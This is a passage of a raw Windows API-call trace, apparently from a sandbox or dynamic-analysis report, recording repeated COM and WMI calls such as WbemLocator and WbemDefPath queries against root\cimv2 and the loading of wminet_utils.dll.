riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1df0dac8 | out: pCid=0x1df0dac8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0183.966] WbemDefPath:IUnknown:Release (This=0x1da273b0) returned 0x3 [0183.966] CoGetContextToken (in: pToken=0x1df0db40 | out: pToken=0x1df0db40) returned 0x0 [0183.966] CoGetContextToken (in: pToken=0x1df0dfc0 | out: pToken=0x1df0dfc0) returned 0x0 [0183.966] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c1390, riid=0x7fef4179790*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0e080 | out: ppvObject=0x1df0e080*=0x0) returned 0x80004002 [0183.967] WbemDefPath:IUnknown:Release (This=0x1c2c1390) returned 0x2 [0183.967] WbemDefPath:IUnknown:Release (This=0x1c2c1390) returned 0x1 [0183.982] SetEvent (hEvent=0x2e4) returned 1 [0184.077] CoGetClassObject (in: rclsid=0x1da22758*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef41762c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1df0e568 | out: ppv=0x1df0e568*=0x1c2c14c0) returned 0x0 [0184.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c14c0, riid=0x7fef419c610*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1df0e5c0 | out: ppvObject=0x1df0e5c0*=0x0) returned 0x80004002 [0184.077] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c2c14c0, pUnkOuter=0x0, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0e570 | out: ppvObject=0x1df0e570*=0x1c2c15b0) returned 0x0 [0184.077] WbemDefPath:IUnknown:Release (This=0x1c2c14c0) returned 0x0 [0184.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c15b0, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0e3d0 | out: ppvObject=0x1df0e3d0*=0x1c2c15b0) returned 0x0 [0184.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c15b0, riid=0x7fef4179740*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1df0e460 | out: ppvObject=0x1df0e460*=0x0) returned 0x80004002 [0184.077] WbemDefPath:IUnknown:AddRef (This=0x1c2c15b0) returned 0x3 [0184.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c15b0, riid=0x7fef4179750*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1df0db18 | out: ppvObject=0x1df0db18*=0x0) returned 0x80004002 [0184.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c15b0, riid=0x7fef4179760*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1df0dab0 | out: ppvObject=0x1df0dab0*=0x0) returned 0x80004002 [0184.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c15b0, riid=0x7fef414c7d8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0daa0 | out: ppvObject=0x1df0daa0*=0x1da27610) returned 0x0 [0184.077] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1da27610, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1df0dac8 | out: pCid=0x1df0dac8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0184.077] WbemDefPath:IUnknown:Release (This=0x1da27610) returned 0x3 [0184.077] CoGetContextToken (in: pToken=0x1df0db40 | out: pToken=0x1df0db40) returned 0x0 [0184.077] CoGetContextToken (in: pToken=0x1df0dfc0 | out: pToken=0x1df0dfc0) returned 0x0 [0184.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c15b0, riid=0x7fef4179790*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0e080 | out: ppvObject=0x1df0e080*=0x0) returned 0x80004002 [0184.077] WbemDefPath:IUnknown:Release (This=0x1c2c15b0) returned 0x2 [0184.077] WbemDefPath:IUnknown:Release (This=0x1c2c15b0) returned 0x1 [0184.077] SetEvent (hEvent=0x320) returned 1 [0184.084] CoGetClassObject (in: rclsid=0x1da22758*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef41762c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1df0e568 | out: ppv=0x1df0e568*=0x1c2c16a0) returned 0x0 [0184.084] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c16a0, riid=0x7fef419c610*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1df0e5c0 | out: ppvObject=0x1df0e5c0*=0x0) returned 0x80004002 [0184.084] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c2c16a0, pUnkOuter=0x0, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0e570 | out: ppvObject=0x1df0e570*=0x1c2c1870) returned 0x0 [0184.084] WbemDefPath:IUnknown:Release (This=0x1c2c16a0) returned 0x0 [0184.084] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c1870, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0e3d0 | out: ppvObject=0x1df0e3d0*=0x1c2c1870) returned 0x0 [0184.084] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c1870, riid=0x7fef4179740*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1df0e460 | out: ppvObject=0x1df0e460*=0x0) returned 0x80004002 [0184.084] WbemDefPath:IUnknown:AddRef (This=0x1c2c1870) returned 0x3 [0184.084] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c1870, riid=0x7fef4179750*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1df0db18 | out: ppvObject=0x1df0db18*=0x0) returned 0x80004002 [0184.084] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c1870, riid=0x7fef4179760*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1df0dab0 | out: ppvObject=0x1df0dab0*=0x0) returned 0x80004002 [0184.084] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c1870, riid=0x7fef414c7d8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0daa0 | out: ppvObject=0x1df0daa0*=0x1da27470) returned 0x0 [0184.084] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1da27470, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1df0dac8 | out: pCid=0x1df0dac8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0184.084] WbemDefPath:IUnknown:Release (This=0x1da27470) returned 0x3 [0184.084] CoGetContextToken (in: pToken=0x1df0db40 | out: pToken=0x1df0db40) returned 0x0 [0184.084] CoGetContextToken (in: pToken=0x1df0dfc0 | out: pToken=0x1df0dfc0) returned 0x0 [0184.085] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c1870, riid=0x7fef4179790*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0e080 | out: ppvObject=0x1df0e080*=0x0) returned 0x80004002 [0184.085] WbemDefPath:IUnknown:Release (This=0x1c2c1870) returned 0x2 [0184.085] WbemDefPath:IUnknown:Release (This=0x1c2c1870) returned 0x1 [0184.085] SetEvent (hEvent=0x328) returned 1 [0191.835] CoGetClassObject (in: rclsid=0x1da22758*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef41762c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1df0e568 | out: ppv=0x1df0e568*=0x1c2d18e0) returned 0x0 [0191.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2d18e0, riid=0x7fef419c610*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1df0e5c0 | out: ppvObject=0x1df0e5c0*=0x0) returned 0x80004002 [0191.836] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c2d18e0, pUnkOuter=0x0, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0e570 | out: ppvObject=0x1df0e570*=0x1c2d9250) returned 0x0 [0191.836] WbemDefPath:IUnknown:Release (This=0x1c2d18e0) returned 0x0 [0191.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2d9250, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0e3d0 | out: ppvObject=0x1df0e3d0*=0x1c2d9250) returned 0x0 [0191.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2d9250, riid=0x7fef4179740*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1df0e460 | out: ppvObject=0x1df0e460*=0x0) returned 0x80004002 [0191.836] WbemDefPath:IUnknown:AddRef (This=0x1c2d9250) returned 0x3 [0191.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2d9250, riid=0x7fef4179750*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1df0db18 | out: ppvObject=0x1df0db18*=0x0) returned 0x80004002 [0191.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2d9250, riid=0x7fef4179760*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1df0dab0 | out: ppvObject=0x1df0dab0*=0x0) returned 0x80004002 [0191.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2d9250, riid=0x7fef414c7d8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0daa0 | out: ppvObject=0x1df0daa0*=0x1da277f0) returned 0x0 [0191.836] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1da277f0, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1df0dac8 | out: pCid=0x1df0dac8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0191.836] WbemDefPath:IUnknown:Release (This=0x1da277f0) returned 0x3 [0191.836] CoGetContextToken (in: pToken=0x1df0db40 | out: pToken=0x1df0db40) returned 0x0 [0191.836] CoGetContextToken (in: pToken=0x1df0dfc0 | out: pToken=0x1df0dfc0) returned 0x0 [0191.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2d9250, riid=0x7fef4179790*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0e080 | out: ppvObject=0x1df0e080*=0x0) returned 0x80004002 [0191.836] WbemDefPath:IUnknown:Release (This=0x1c2d9250) returned 0x2 [0191.836] WbemDefPath:IUnknown:Release (This=0x1c2d9250) returned 0x1 [0191.836] SetEvent (hEvent=0x394) returned 1 [0195.961] CoGetClassObject (in: rclsid=0x1da22758*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef41762c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1df0e568 | out: ppv=0x1df0e568*=0x1c2d1960) returned 0x0 [0195.961] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2d1960, riid=0x7fef419c610*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1df0e5c0 | out: ppvObject=0x1df0e5c0*=0x0) returned 0x80004002 [0195.961] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c2d1960, pUnkOuter=0x0, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0e570 | out: ppvObject=0x1df0e570*=0x1c2d9b30) returned 0x0 [0195.962] WbemDefPath:IUnknown:Release (This=0x1c2d1960) returned 0x0 [0195.962] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2d9b30, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0e3d0 | out: ppvObject=0x1df0e3d0*=0x1c2d9b30) returned 0x0 [0195.962] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2d9b30, riid=0x7fef4179740*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1df0e460 | out: ppvObject=0x1df0e460*=0x0) returned 0x80004002 [0195.962] WbemDefPath:IUnknown:AddRef (This=0x1c2d9b30) returned 0x3 [0195.962] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2d9b30, riid=0x7fef4179750*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1df0db18 | out: ppvObject=0x1df0db18*=0x0) returned 0x80004002 [0195.962] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2d9b30, riid=0x7fef4179760*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1df0dab0 | out: ppvObject=0x1df0dab0*=0x0) returned 0x80004002 [0195.962] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2d9b30, riid=0x7fef414c7d8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0daa0 | out: ppvObject=0x1df0daa0*=0x1da27990) returned 0x0 [0195.962] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1da27990, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1df0dac8 | out: pCid=0x1df0dac8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0195.962] WbemDefPath:IUnknown:Release (This=0x1da27990) returned 0x3 [0195.962] CoGetContextToken (in: pToken=0x1df0db40 | out: pToken=0x1df0db40) returned 0x0 [0195.962] CoGetContextToken (in: pToken=0x1df0dfc0 | out: pToken=0x1df0dfc0) returned 0x0 [0195.962] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2d9b30, riid=0x7fef4179790*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1df0e080 | out: ppvObject=0x1df0e080*=0x0) returned 0x80004002 [0195.962] WbemDefPath:IUnknown:Release (This=0x1c2d9b30) returned 0x2 [0195.962] WbemDefPath:IUnknown:Release (This=0x1c2d9b30) returned 0x1 [0195.962] SetEvent (hEvent=0x39c) returned 1 Thread: id = 39 os_tid = 0x830 [0184.089] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0184.090] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x1e03ea88 | out: lpiid=0x1e03ea88) returned 0x0 [0184.090] CoGetClassObject (in: rclsid=0x1da22e98*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef41762c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1e03e658 | out: ppv=0x1e03e658*=0x1c2c1990) returned 0x0 [0184.203] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2c1990, riid=0x7fef419c610*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1e03e6b0 | out: ppvObject=0x1e03e6b0*=0x0) returned 0x80004002 [0184.203] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c2c1990, pUnkOuter=0x0, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1e03e660 | out: ppvObject=0x1e03e660*=0x1c2d1870) returned 0x0 [0184.203] WbemLocator:IUnknown:Release (This=0x1c2c1990) returned 0x0 [0184.203] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2d1870, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1e03e4c0 | out: ppvObject=0x1e03e4c0*=0x1c2d1870) returned 0x0 [0184.204] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2d1870, riid=0x7fef4179740*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1e03e550 | out: ppvObject=0x1e03e550*=0x0) returned 0x80004002 [0184.204] WbemLocator:IUnknown:AddRef (This=0x1c2d1870) returned 0x3 [0184.204] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2d1870, riid=0x7fef4179750*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1e03dc08 | out: ppvObject=0x1e03dc08*=0x0) returned 0x80004002 [0184.204] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2d1870, riid=0x7fef4179760*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1e03dba0 | out: ppvObject=0x1e03dba0*=0x0) returned 0x80004002 [0184.204] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2d1870, riid=0x7fef414c7d8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1e03db90 | out: ppvObject=0x1e03db90*=0x0) returned 0x80004002 [0184.204] CoGetContextToken (in: pToken=0x1e03dc30 | out: pToken=0x1e03dc30) returned 0x0 [0184.204] CoGetObjectContext (in: riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da2d3d8 | out: ppv=0x1da2d3d8*=0x1ac22ae0) returned 0x0 [0184.614] CoGetContextToken (in: pToken=0x1e03e0b0 | out: pToken=0x1e03e0b0) returned 0x0 [0184.614] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2d1870, riid=0x7fef4179790*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1e03e170 | out: ppvObject=0x1e03e170*=0x0) returned 0x80004002 [0184.614] WbemLocator:IUnknown:Release (This=0x1c2d1870) returned 0x2 [0184.614] WbemLocator:IUnknown:Release (This=0x1c2d1870) returned 0x1 [0184.615] CoGetContextToken (in: pToken=0x1e03ea90 | out: pToken=0x1e03ea90) returned 0x0 [0184.615] CoGetContextToken (in: pToken=0x1e03e990 | out: pToken=0x1e03e990) returned 0x0 [0184.615] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2d1870, riid=0x1e03eaf0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1e03eac0 | out: ppvObject=0x1e03eac0*=0x1c2d1870) returned 0x0 [0184.615] WbemLocator:IUnknown:AddRef (This=0x1c2d1870) returned 0x3 [0184.615] WbemLocator:IUnknown:Release (This=0x1c2d1870) returned 0x2 [0184.633] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c2c1870, puCount=0x1e03eeb8 | out: puCount=0x1e03eeb8*=0x2) returned 0x0 [0184.633] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1870, lFlags=8, puBuffLength=0x1e03eeb0*=0x0, pszText=0x0 | out: puBuffLength=0x1e03eeb0*=0xf, pszText=0x0) returned 0x0 [0184.633] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1870, lFlags=8, puBuffLength=0x1e03eeb0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1e03eeb0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0184.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1e03d600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0184.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dll", cchWideChar=65, lpMultiByteStr=0x1e03dc00, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dllnèÐ\x83ê", lpUsedDefaultChar=0x0) returned 65 [0184.639] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\\\wminet_utils.dll") returned 0x7fef8270000 [0184.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResetSecurity", cchWideChar=13, lpMultiByteStr=0x1e03dc40, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 